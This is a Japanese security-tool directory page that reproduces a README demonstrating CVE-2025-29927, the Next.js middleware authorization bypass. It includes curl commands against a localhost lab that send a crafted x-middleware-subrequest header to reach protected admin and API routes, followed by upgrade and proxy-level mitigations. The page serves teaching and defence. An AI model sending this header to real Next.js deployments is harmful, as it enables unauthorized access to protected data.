Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
nextjs-cve-demo — Next.js の Middleware における認可バイパス脆弱性 (CVE-2025-29927) を実演し、許可されていないユーザーが保護された情報にアクセスできるようにします。 | Kitploit
ツール/GitHubGitHub/lstudlo/nextjs-cve-demo
認証と認可脆弱性分析ウェブアプリケーション悪用APIセキュリティテスト設定ミス学習と教育
GitHublstudlo/nextjs-cve-demo

nextjs-cve-demo

Next.js の Middleware における認可バイパス脆弱性 (CVE-2025-29927) を実演し、許可されていないユーザーが保護された情報にアクセスできるようにします。

リポジトリを見る
21年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

サンプル: Next.js Middleware の認証バイパス (CVE-2025-29927)

このリポジトリは、Next.js の Middleware における認証バイパス脆弱性 (CVE-2025-29927) をデモするサンプルプロジェクトを提供します。この脆弱性により、未認証のユーザーが保護されたリソースにアクセスできる可能性があります。

脆弱性の概要

CVE-2025-29927 は、Next.js のミドルウェアシステムに影響を与える深刻なセキュリティ脆弱性(CVSS スコア: 9.1)です。攻撃者は、HTTP リクエストに特別に細工した x-middleware-subrequest ヘッダーを追加することで、ミドルウェアのセキュリティチェックを完全にバイパスできます。

影響を受けるバージョン

  • Next.js 11.1.4 から 13.5.6
  • Next.js 14.x で 14.2.25 未満
  • Next.js 15.x で 15.2.3 未満

脆弱性の影響

  • 認証バイパス: 攻撃者は認証なしで保護されたパス(/admin など)にアクセス可能
  • API セキュリティバイパス: 保護された API エンドポイント(/api/confidential など)にアクセス可能
  • セキュリティヘッダーバイパス: CSP、HSTS などのセキュリティヘッダーがミドルウェアで設定されている場合もバイパスされる

事前準備

  1. Node.js と npm がインストールされていること
  2. フォルダに移動して npm install を実行し、依存関係をインストール
  3. npm run dev を実行して Next.js 開発サーバーを起動
  4. ブラウザで http://localhost:3000 を開くと、現在のウェブサイト画面が表示されます

脆弱性の仕組みを理解する

Next.js は内部ヘッダー x-middleware-subrequest を使用して、ミドルウェアの再帰呼び出しによる無限ループを防ぎます。しかし、このヘッダーは外部からのリクエストで悪用される可能性があります。リクエストにこのヘッダーが含まれ、最大再帰深度(MAX_RECURSION_DEPTH)に達すると、Next.js はミドルウェアの実行を完全にスキップします。

脆弱性の再現方法

ステップ 1: 保護されたパスに通常アクセス(ブロックされる)

まず、通常の方法で保護されたパスにアクセスしてみます。

root@kitploit:~
# 保護された管理ページにアクセス
curl http://localhost:3000/admin/dashboard -v

期待される結果: ログインページにリダイレクトされる (302 redirect to /login)

root@kitploit:~
# 保護された API にアクセス
curl http://localhost:3000/api/confidential -v

期待される結果: 401 Unauthorized エラーが返る

ステップ 2: 脆弱性を使って Middleware をバイパス

次に、特別に細工したヘッダーを使ってミドルウェアをバイパスします。

root@kitploit:~
# /admin パスの保護をバイパス
curl http://localhost:3000/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

期待される結果: 管理ページの内容にアクセス成功 (200 OK)

root@kitploit:~
# /api/confidential の保護をバイパス
curl http://localhost:3000/api/confidential \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

期待される結果: API にアクセス成功し、機密情報を取得 (200 OK)

ステップ 3: ブラウザでテストする

ブラウザの開発者ツールを使用してテストすることもできます。

  1. ブラウザの開発者ツールを開く (F12)
  2. Network タブに切り替える
  3. ModHeader 拡張機能などのツールを使用して、次のヘッダーを追加:
    • Header Name: x-middleware-subrequest
    • Header Value: middleware:middleware:middleware:middleware:middleware
  4. http://localhost:3000/admin/dashboard にアクセス
  5. リダイレクトされずに管理ページの内容が表示されるはず

脆弱性の説明

ミドルウェアが x-middleware-subrequest ヘッダーを含むリクエストを受け取ると:

  1. Next.js はこれを内部の再帰呼び出しと見なす
  2. ヘッダー値に十分な数のミドルウェアマーカー(5回の繰り返し)が含まれている場合、MAX_RECURSION_DEPTH 制限がトリガーされる
  3. 無限ループを回避するため、Next.js はミドルウェアの実行を完全にスキップする
  4. リクエストは直接ターゲットルートに到達し、すべてのセキュリティチェックをバイパスする

修正方法

1. Next.js のバージョンをアップグレードする

修正済みのバージョンにアップグレード:

  • 12.x: 12.3.5 以降にアップグレード
  • 13.x: 13.5.9 以降にアップグレード
  • 14.x: 14.2.25 以降にアップグレード
  • 15.x: 15.2.3 以降にアップグレード

2. 一時的な緩和策

すぐにアップグレードできない場合は、リバースプロキシ(Nginx、Apache など)レベルで x-middleware-subrequest ヘッダーを含むリクエストをブロックします。

Nginx 設定例:

root@kitploit:~
location / {
    if ($http_x_middleware_subrequest) {
        return 403;
    }
    proxy_pass http://localhost:3000;
}

Apache 設定例:

root@kitploit:~
RequestHeader unset x-middleware-subrequest

3. 多層防御

ミドルウェアに加えて、ルートハンドラでも認証チェックを実装します。

root@kitploit:~
// API ルートに追加の認証チェックを追加
export async function GET(request) {
    // ミドルウェアだけに頼らず、ここでも認証をチェック
    if (!isAuthenticated(request)) {
        return new Response('Unauthorized', { status: 401 });
    }
    // ... リクエストを処理
}

参考資料

  • Next.js Security Advisory (GHSA-f82v-jwr5-mffw)
  • CVE-2025-29927 Details
  • Next.js Middleware Documentation
ツールをダウンロード